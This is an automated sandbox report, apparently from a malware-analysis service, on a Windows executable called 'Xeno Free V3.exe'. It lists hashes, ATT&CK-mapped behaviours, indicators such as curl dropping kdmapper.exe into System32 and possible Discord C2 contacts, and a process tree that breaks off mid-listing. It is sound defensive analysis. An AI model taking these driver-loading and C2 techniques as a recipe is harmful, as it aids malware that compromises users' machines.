4d1946b19705f63006d8d3da219beee5f82c1c24a8349d565e9369f8e23bfdbc

Analysis

user interaction
yes
max time kernel
299s
max time network
301s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 02:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Xeno Free V3.exe
Size 638KB
Sample260720-dfl3tafz4x
SHA256 4d1946b19705f63006d8d3da219beee5f82c1c24a8349d565e9369f8e23bfdbc
MD5 3029f3829ac010e1041c6859176eb1fb
SHA1 a7af533475fae0e3ef82868deb480fe5933cea62
SHA512 5f72d177613f996abe63dd9c03001abc1d3efbacd57de81b40ff64ad5df8e2b904cef07c9df5eba9a5be2d0323d20b4b05e23c0aa0e21fc92d85e205b171d9cd
SSDEEP 12288:y/mAwSrrz3uyrXSTViVn/dhyC6YLK2eood:QmAHr7I5iVn/dh+YW2I
TLSH
T130D4AF40F2E484B5D17B613899B6EB1BEB377858073096CF73D484682FE76E08AB5712
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
5564	kdmapper.exe

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
44	discord.com
45	discord.com
50	discord.com
68	discord.com
154	raw.githubusercontent.com
1	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\kdmapper.exe	curl.exe

Drops file in Windows directory 27 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1324704561\automation.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_2069427327\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_2069427327\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_9886275\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1712775885\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1324704561\classification.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1324704561\travel-facilitated-booking-kayak.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1230263574\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_830459467\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1712775885\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1324704561\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1230263574\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1230263574\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1230263574\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1311670646\deny_etld1_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1311670646\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1510496335\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_830459467\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_9886275\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1712775885\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1324704561\extraction.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1324704561\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_9886275\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_9886275\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1712775885\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1311670646\deny_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1311670646\deny_full_domains.list	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2160	cmd.exe
6100	cmd.exe
4588	cmd.exe
2460	cmd.exe
4124	cmd.exe
1992	cmd.exe
5112	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4724	msedge.exe
4788	msedge.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134289898474336088"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{E9DD33BB-1BD1-40F1-846F-601883B23BE3}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{3BEACD02-2618-47FC-828E-196BDAD1E2AE}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{32316749-FDBB-4467-91D0-C0B9B53C979C}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5564	kdmapper.exe
5564	kdmapper.exe
4352	msedge.exe
4352	msedge.exe
4444	msedge.exe
4444	msedge.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
808	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
1308	msedge.exe
1308	msedge.exe
1308	msedge.exe
1308	msedge.exe
1308	msedge.exe
1308	msedge.exe
1308	msedge.exe
1308	msedge.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1308	msedge.exe
1308	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 4124	2624	Xeno Free V3.exe	90
PID 2624 wrote to memory of 1308	2624	Xeno Free V3.exe	91
PID 2624 wrote to memory of 5332	2624	Xeno Free V3.exe	92
PID 1308 wrote to memory of 3044	1308	msedge.exe	93
PID 1308 wrote to memory of 4724	1308	msedge.exe	94
PID 1308 wrote to memory of 5328	1308	msedge.exe	95
PID 1308 wrote to memory of 5328	1308	msedge.exe	95
PID 1308 wrote to memory of 5328	1308	msedge.exe	95
PID 1308 wrote to memory of 6140	1308	msedge.exe	96
PID 1308 wrote to memory of 6140	1308	msedge.exe	96
PID 1308 wrote to memory of 1664	1308	msedge.exe	98
PID 1308 wrote to memory of 1664	1308	msedge.exe	98
PID 1308 wrote to memory of 1664	1308	msedge.exe	98
PID 1308 wrote to memory of 3464	1308	msedge.exe	99
PID 1308 wrote to memory of 3464	1308	msedge.exe	99
PID 1308 wrote to memory of 3464	1308	msedge.exe	99
PID 1308 wrote to memory of 4720	1308	msedge.exe	100
PID 1308 wrote to memory of 4720	1308	msedge.exe	100
PID 1308 wrote to memory of 4720	1308	msedge.exe	100
PID 1308 wrote to memory of 4352	1308	msedge.exe	101
PID 1308 wrote to memory of 4352	1308	msedge.exe	101
PID 1308 wrote to memory of 4352	1308	msedge.exe	101
PID 1308 wrote to memory of 2128	1308	msedge.exe	102
PID 1308 wrote to memory of 2128	1308	msedge.exe	102
PID 1308 wrote to memory of 2128	1308	msedge.exe	102
PID 1308 wrote to memory of 2616	1308	msedge.exe	103
PID 1308 wrote to memory of 2616	1308	msedge.exe	103
PID 2624 wrote to memory of 1992	2624	Xeno Free V3.exe	105
PID 2624 wrote to memory of 5112	2624	Xeno Free V3.exe	106
PID 5112 wrote to memory of 4688	5112	cmd.exe	107
PID 1308 wrote to memory of 3144	1308	msedge.exe	108
PID 1308 wrote to memory of 3144	1308	msedge.exe	108
PID 1308 wrote to memory of 3144	1308	msedge.exe	108
PID 1308 wrote to memory of 3820	1308	msedge.exe	110
PID 2624 wrote to memory of 2160	2624	Xeno Free V3.exe	112
PID 2160 wrote to memory of 4468	2160	cmd.exe	113
PID 1308 wrote to memory of 5096	1308	msedge.exe	115
PID 1308 wrote to memory of 2996	1308	msedge.exe	116
PID 1308 wrote to memory of 4936	1308	msedge.exe	118
PID 1308 wrote to memory of 5252	1308	msedge.exe	117
PID 1308 wrote to memory of 5096	1308	msedge.exe	115
PID 1308 wrote to memory of 2996	1308	msedge.exe	116
PID 1308 wrote to memory of 1964	1308	msedge.exe	119
PID 1308 wrote to memory of 4936	1308	msedge.exe	118
PID 1308 wrote to memory of 1964	1308	msedge.exe	119
PID 1308 wrote to memory of 1860	1308	msedge.exe	120
PID 1308 wrote to memory of 1860	1308	msedge.exe	120
PID 1308 wrote to memory of 2124	1308	msedge.exe	121
PID 1308 wrote to memory of 2124	1308	msedge.exe	121
PID 1308 wrote to memory of 2124	1308	msedge.exe	121
PID 1308 wrote to memory of 3176	1308	msedge.exe	122
PID 1308 wrote to memory of 3176	1308	msedge.exe	122
PID 1308 wrote to memory of 3176	1308	msedge.exe	122
PID 1308 wrote to memory of 4352	1308	msedge.exe	123
PID 4352 wrote to memory of 1940	4352	msedge.exe	124
PID 4352 wrote to memory of 4052	4352	msedge.exe	125
PID 4352 wrote to memory of 4788	4352	msedge.exe	126
PID 4352 wrote to memory of 4052	4352	msedge.exe	125
PID 4352 wrote to memory of 4052	4352	msedge.exe	125
PID 4352 wrote to memory of 5340	4352	msedge.exe	128
PID 4352 wrote to memory of 5340	4352	msedge.exe	128
PID 4352 wrote to memory of 5988	4352	msedge.exe	130
PID 2624 wrote to memory of 5564	2624	Xeno Free V3.exe	131
PID 2624 wrote to memory of 6100	2624	Xeno Free V3.exe	132

C:\Users\Admin\AppData\Local\Temp\Xeno Free V3.exe
"C:\Users\Admin\AppData\Local\Temp\Xeno Free V3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:4124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://guns.lol/xenoudd
  2⤵
  - Checks SCSI registry key(s)
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffcef4ec188,0x7ffcef4ec194,0x7ffcef4ec1a0
    3⤵
    PID:3044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2120,i,8968761126669018800,18260969213404197703,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=2484 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1956,i,8447436877619251607,7431349273164541437,262144 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:2
    3⤵
    PID:5328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2500,i,16110440482320321512,8819313166065294780,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:13
    3⤵
    PID:6140
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,2366043755480602265,12440837293008311694,2097152 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:1
    3⤵
    PID:1664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,16210051441643647070,2102294859230924437,2097152 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:1
    3⤵
    PID:3464
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,17282445209406156294,5066712426977883003,2097152 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=4416 /prefetch:1
    3⤵
    PID:4720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4304,i,591434622799117935,2664114294787396630,2097152 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=4448 /prefetch:9
    3⤵
    PID:4352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4400,i,12460740444929531286,13462786838994642068,2097152 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:1
    3⤵
    PID:2128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5436,i,16773433942560468520,17290262392533313691,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
    3⤵
    PID:2616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5476,i,7313175438387626141,7031783878481338092,2097152 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:1
    3⤵
    PID:3144
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6204,i,3594260168937554411,8118004206480723259,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:14
    3⤵
    PID:5056
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6204,i,3594260168937554411,8118004206480723259,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:14
    3⤵
    PID:3820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5636,i,6973045273101788871,16527711871946524151,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:14
    3⤵
    PID:5096
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5648,i,17808134525841260411,8799690946101322176,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:14
    3⤵
    PID:2996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,1100526891359839796,2810125888315614336,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=6700 /prefetch:14
    3⤵
    - Modifies registry class
    PID:5252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6272,i,6783706897765614200,14827828500340321263,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=4588 /prefetch:12
    3⤵
    PID:4936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,18114118668782125475,10256116719889749921,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
    3⤵
    PID:1964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6432,i,12582482719726862204,16656234002739265568,524288 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=7216 /prefetch:14
    3⤵
    PID:1860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7196,i,16869280336394043801,44325117234648752,2097152 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=7312 /prefetch:1
    3⤵
    PID:2124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7252,i,4008482094285718631,7172500337858171729,2097152 --field-trial-handle=2432,i,1050567085597707754,913877332597463910,262144 --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:1
    3⤵
    PID:3176
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x264,0x268,0x22c,0x274,0x7ffcef4ec188,0x7ffcef4ec194,0x7ffcef4ec1a0
      4⤵
      PID:1940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
